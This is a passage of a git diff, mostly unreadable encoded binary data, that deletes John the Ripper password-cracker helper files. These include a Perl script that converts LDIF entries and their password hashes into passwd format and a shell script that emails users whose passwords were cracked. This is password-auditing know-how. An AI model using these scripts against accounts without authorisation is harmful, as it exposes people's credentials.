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 B&zArI diff --git a/data/john/run.linux.x64.mmx/ldif2pw.pl b/data/john/run.linux.x64.mmx/ldif2pw.pl deleted file mode 100644 index 6ad89a867a..0000000000 --- a/data/john/run.linux.x64.mmx/ldif2pw.pl +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/perl - -$i=1; - -while(<>) { - chomp; - if(/^$/) { - if($object{"uid"} ne "") { - print $object{"uid"}.":"; - print $object{"userPassword"} ne "" ? $object{"userPassword"} : "*"; - print ":"; - print $i.":"; - print $i.":"; - print $object{"cn"}.":"; - print $object{"homeDirectory"} ne "" ? $object{"homeDirectory"} : "/"; - print ":/bin/sh\n"; - } - %object = (); - $i++; - next; - } - - ($lhs, $rhs) = split(/: /); - $object{$lhs} = $rhs; -} diff --git a/data/john/run.linux.x64.mmx/mailer b/data/john/run.linux.x64.mmx/mailer deleted file mode 100755 index da0494a021..0000000000 --- a/data/john/run.linux.x64.mmx/mailer +++ /dev/null @@ -1,41 +0,0 @@ -#!/bin/sh -# -# This file is part of John the Ripper password cracker, -# Copyright (c) 1996-98 by Solar Designer -# - -if [ $# -ne 1 ]; then - echo "Usage: $0 PASSWORD-FILE" - exit 0 -fi - -# There's no need to mail users with these shells -SHELLS=-,/bin/false,/dev/null,/bin/sync - -# Look for John in the same directory with this script -DIR="`echo "$0" | sed 's,/[^/]*$,,'`" - -# Let's start -$DIR/john -show "$1" -shells:$SHELLS | sed -n 's/:.*//p' | -( - SENT=0 - - while read LOGIN; do - echo Sending mail to "$LOGIN"... - -# You'll probably want to edit the message below - mail -s 'Bad password' "$LOGIN" << EOF -Hello! - -Your password for account "$LOGIN" is insecure. Please change it as soon -as possible. - -Yours, - Password Checking Robot. -EOF - - SENT=$(($SENT+1)) - done - - echo $SENT messages sent -) diff --git a/data/john/run.linux.x64.mmx/mkvcalcproba b/data/john/run.linux.x64.mmx/mkvcalcproba deleted file mode 100755 index c2d88f1f29c55af8e8e6a34c97ad294a29837a8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8040 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 diff --git a/data/john/run.linux.x64.mmx/netntlm.pl b/data/john/run.linux.x64.mmx/netntlm.pl deleted file mode 100644 index 0872832f8b..0000000000 --- a/data/john/run.linux.x64.mmx/netntlm.pl +++ /dev/null @@ -1,262 +0,0 @@ -#!/usr/bin/perl -# -##################################################################### -# -# Written by JoMo-Kun in 2007 -# and placed in the public domain. -# -# The purpose of this script is to aid with 